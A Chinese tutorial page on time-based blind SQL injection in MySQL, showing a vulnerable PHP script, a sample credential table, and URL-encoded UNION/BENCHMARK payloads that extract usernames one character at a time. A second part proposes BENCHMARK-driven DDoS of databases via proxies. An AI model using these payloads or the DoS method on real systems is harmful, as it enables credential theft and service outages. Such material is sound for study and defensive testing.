第一部

利用时间推延进行注射---BENCHMARK函数在注射中的利用

一.前言/思路

如果你看了angel的《SQL

Injection with

MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors

= Off

而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。

本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。

二.关于BENCHMARK函数

在MySQL参考手册里可以看到如下描叙:

BENCHMARK(count,expr)

BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。

mysql> select BENCHMARK(1000000,encode("hello","goodbye"));

+----------------------------------------------+

|

BENCHMARK(1000000,encode("hello","goodbye")) |

+----------------------------------------------+

| 0 |

+----------------------------------------------+

1 row in set (4.74 sec)

报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。

只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:

mysql> select md5( 'test' );

+----------------------------------+

| md5( 'test' ) |

+----------------------------------+

| 098f6bcd4621d373cade4e832627b4f6

|

+----------------------------------+

1 row in set (0.00 sec)

〈-----------执行时间为0.00 sec

mysql> select benchmark( 500000, md5( 'test' ) );

+------------------------------------+

| benchmark( 500000, md5( 'test'

) ) |

+------------------------------------+

| 0 |

+------------------------------------+

1 row in set (6.55 sec)

〈------------执行时间为6.55 sec

由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。

三.具体例子

首先我们看个简单的php代码:

< ?php

$servername = "localhost";

$dbusername =

"root";

$dbpassword = "";

$dbname = "injection";

mysql_connect($servername,$dbusername,$dbpassword) or die

("数据库连接失败");

$sql = "SELECT * FROM article WHERE articleid=$id";

$result

= mysql_db_query($dbname,$sql);

$row = mysql_fetch_array($result);

if (!$row)

{

exit;

}

?>

数据库injection结构和内容如下:

# 数据库 : `injection`

#

# --------------------------------------------------------

#

# 表的结构 `article`

#

CREATE TABLE `article` (

`articleid` int(11) NOT NULL

auto_increment,

`title` varchar(100) NOT NULL default '',

`content` text

NOT NULL,

PRIMARY KEY (`articleid`)

) TYPE=MyISAM AUTO_INCREMENT=3 ;

#

# 导出表中的数据 `article`

#

INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子',

'中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');

INSERT INTO `article` VALUES (2,

'我恨死你', '我恨死你了,你是什么东西啊');

# --------------------------------------------------------

#

# 表的结构 `user`

#

CREATE TABLE `user` (

`userid` int(11) NOT NULL

auto_increment,

`username` varchar(20) NOT NULL default '',

`password`

varchar(20) NOT NULL default '',

PRIMARY KEY (`userid`)

) TYPE=MyISAM

AUTO_INCREMENT=3 ;

#

# 导出表中的数据 `user`

#

INSERT INTO `user` VALUES (1, 'angel', 'mypass');

INSERT

INTO `user` VALUES (2, '4ngel', 'mypass2');

代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union

select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:

id=1 union select 1,benchmark(500000,md5('test')),1 from user

where userid=1 and ord(substring(username,1,1))=97

/*

上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。

大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下

就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:

http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*

执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。

注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select

1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union

select benchmark(500000,md5(0x41)) 1,1

我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。

第二部

利用BENCHMARK函数进行ddos攻击

其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count

就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:

http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))

小结

MySQL中benchmark_MYSQL中BENCHMARK函数的利用相关推荐

  1. benchmark如何测试mysql数据库_MySQL的benchmark函数

    MySQL实现了很多独特的函数,有时候使用起来是非常的方便,或许这就是开源的好处吧.这里记录一下benchmark函数,一个用于测试MySQL函数性能的函数.benchmark函数只有两个参数,第一个 ...

  2. mysql default unix_timestamp_mysql中的unix_timestamp函数

    偶然看到MySQL的一个函数 unix_timestamp(),不明就里,于是就试验了一番. unix_timestamp()函数的作用是返回一个确切的时间点的UNIX时间戳,这个Unix时间戳是一个 ...

  3. mysql 字符串 空格函数_mysql中的去除空格函数

    (1)mysql replace 函数 语法:replace(object,search,replace) 意思:把object中出现search的全部替换为replace 案例:update `ne ...

  4. MySQL中常见的单行函数(下)

    MySQL中常见的单行函数(下) 一.转换函数 Date_format(date,format) 将日期转换成字符串(类似Oracle中的to_char()) Str_to_date(str,fo ...

  5. mysql timestamp 差值_MySQL中TIMESTAMPDIFF和TIMESTAMPADD函数的用法(两个日期之间的差值)...

    MySQL中TIMESTAMPDIFF和TIMESTAMPADD函数的用法 在应用时,经常要使用这两个函数TIMESTAMPDIFF和TIMESTAMPADD. 一,TIMESTAMPDIFF 语法: ...

  6. mariadb mysql 语法_Mariadb MySQL、Mariadb中GROUP_CONCAT函数使用介绍

    MySQL.Mariadb中GROUP_CONCAT 函数使用介绍 By:授客 QQ:1033553122 语法: GROUP_CONCAT([DISTINCT] column_name [ORDER ...

  7. mysql中不要 秒的函数_Mysql中日期和时间函数应用不用求人 | 很文博客

    对于每个类型拥有的值范围以及并且指定日期何时间值的有效格式的描述见7.3.6 日期和时间类型. 这里是一个使用日期函数的例子.下面的查询选择了所有记录,其date_col的值是在最后30天以内: my ...

  8. mysql 函数用还是不用_Mysql中日期和时间函数应用不用求人

    Mysql中日期和时间函数应用不用求人 2008-05-23 17:41· 稿源:互联网 TIME_FORMAT(time,format) 这象上面的DATE_FORMAT()函数一样使用,但是for ...

  9. java:去除字符串中空格 、 oracle (+) 、 mysql中数值运算符和函数

    java:去除字符串中空格 http://www.cnblogs.com/LiuChunfu/p/5661810.html oracle:oracle (+) https://zhidao.baidu ...

最新文章

  1. Python基础05-数据类型:列表list
  2. POJ3690:Constellations——题解
  3. 迄今为止把同步/异步/阻塞/非阻塞/BIO/NIO/AIO讲的这么清楚的好文章(快快珍藏)...
  4. ins40401 oracle,安装orace grid infrastructure 提示[INS-40404]问题
  5. 开源矿工和轻松矿工接入ssl
  6. Unity游戏开发之C#快速入门
  7. AngularJS $q
  8. 2020年中国保险中介市场生态白皮书
  9. 蓝桥杯 省赛 python_第十一届蓝桥杯软件省级大赛第二场python3,类省赛,Python3
  10. mysql学习(2)-Navicat Premium 12 链接MySQL8.0.11数据库报2059错误
  11. Windows Server 2012虚拟桌面分辨率支持列表
  12. 植物大战僵尸修改办法
  13. windows系统查看局域网内所有已使用的IP
  14. 取消360导航作为浏览器访问首页
  15. 安装一级计算机失败,Win7/Win8.1升级Win10提示“安装失败”的解决方法
  16. caffe 训练笔记总结
  17. Python温习(六)——元组操作
  18. Hibernate学习记录
  19. wchar to char转换
  20. python qq群_python qq群机器人怎么弄

热门文章

  1. hisi3559AV100开发之系统移植
  2. Python列表index()返回重复元素第二次出现的下标
  3. pojo、entity、vo三种类的区别
  4. 十六进制的ascii码 \u5929\u6cf0\u56fd\u9645 解码成unicode
  5. 考试如何用计算机,注会考试计算器如何使用 达江老师教你一招
  6. xssbypass_XSS Bypass
  7. 脸都绿了,憋到内伤啊!
  8. 台式计算机显卡最高温度多少,台式机如何判断显卡温度过高
  9. 独立双端App《瓦格相机》的开发过程分享
  10. 如何在Cocos2D游戏中实现A*寻路算法(二)